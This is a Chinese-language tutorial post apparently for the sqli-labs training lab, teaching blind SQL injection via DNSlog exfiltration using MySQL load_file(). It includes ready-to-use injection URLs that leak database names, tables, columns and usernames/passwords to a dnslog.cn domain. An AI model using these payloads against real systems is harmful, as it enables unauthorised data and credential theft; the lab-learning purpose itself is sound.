1.我們首先要知道什么是DNS:
域名決議是把域名指向網站空間IP,讓人們通過注冊的域名可以方便地訪問到網站的一種服務,IP地址是網路上標識站點的數字地址,為了方便記憶,采用域名來代替IP地址標識站點地址,域名決議就是域名到IP地址的轉換程序,域名的決議作業由DNS服務器完成,
域名決議也叫域名指向、服務器設定、域名配置以及反向IP登記等等,說得簡單點就是將好記的域名決議成IP,服務由DNS服務器完成,是把域名決議到一個IP地址,然后在此IP地址的主機上將一個子目錄與域名系結,
互聯網中的地址是數字的IP地址,域名決議的作用主要就是為了便于記憶,(摘自百度百科)

2.要開啟sql中的服務:
在組態檔my.ini中
如果secure_file_priv不為空,改為空
如果不存在,加上去并保存,然后重啟MySQL服務即可

3.我們可以訪問http://www.dnslog.cn/去自己生成一個域名:
我們試著自己去訪問http://smile.hravfz.dnslog.cn時:
會在日志上留下訪問的記錄,
4下面介紹load_file()函式:
關于mysql load_file()函式:
在MySQL中,LOAD_FILE()函式讀取一個檔案并將其內容作為字串回傳,
LOAD_FILE(file_name)
其中file_name是檔案的完整路徑,
這個函式也可以用來發送dns決議請求,這就是關鍵
load_file()使用限制:
1.檔案必須位于服務器主機上,
2.你必須具有該FILE權限才能讀取該檔案,擁有該FILE權限的用戶可以讀取服務器主機上的任何檔案,該檔案是world-readable的或MySQL服務器可讀的,
3.檔案必須是所有人都可讀的,并且它的大小小于max_allowed_packet位元組,
5,Sqlilab-05s:dns用來獲取盲注的結果:
此題目沒有回顯的資訊,為盲注,若是進行手動會耗費大量的時間,可以通過load_file()發送DNS請求去在DNS上留下日志

構造playloads:
? 查詢資料庫的版本:
127.0.0.1/sqli-labs-master/Less-5/?id=-1’ union select load_file(concat(’\\’,(select database()),’.ahgpow.dnslog.cn\123’)) ,2,3 --+

資料庫為security;
? 然后去查表:
127.0.0.1/sqli-labs-master/Less-5/?id=-1’ union select load_file(concat(’\\’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),’.tdwu21.dnslog.cn\123’)) ,2,3 --+
然而并沒有反應,因為域名長度太長,不能超過63位
127.0.0.1/sqli-labs-master/Less-5/?id=1’ and load_file(concat("\\",(select group_concat(table_name SEPARATOR’-’) from information_schema.tables where table_schema=‘security’ ),".tdwu21.dnslog.cn\xxx.txt")) --+

? 查列:
127.0.0.1/sqli-labs-master/Less-5/?id=1’ and load_file(concat("\\",(select group_concat(column_name SEPARATOR’-’) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),".
tdwu21.dnslog.cn\xxx.txt")) --+

? 查資料:
127.0.0.1/sqli-labs-master/Less-5/?id=1’ and load_file(concat("\\",(select group_concat(username,password) from security.users),".
tdwu21.dnslog.cn\xxx.txt")) --+

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/299450.html
標籤:其他
上一篇:[測開學習]--HTML
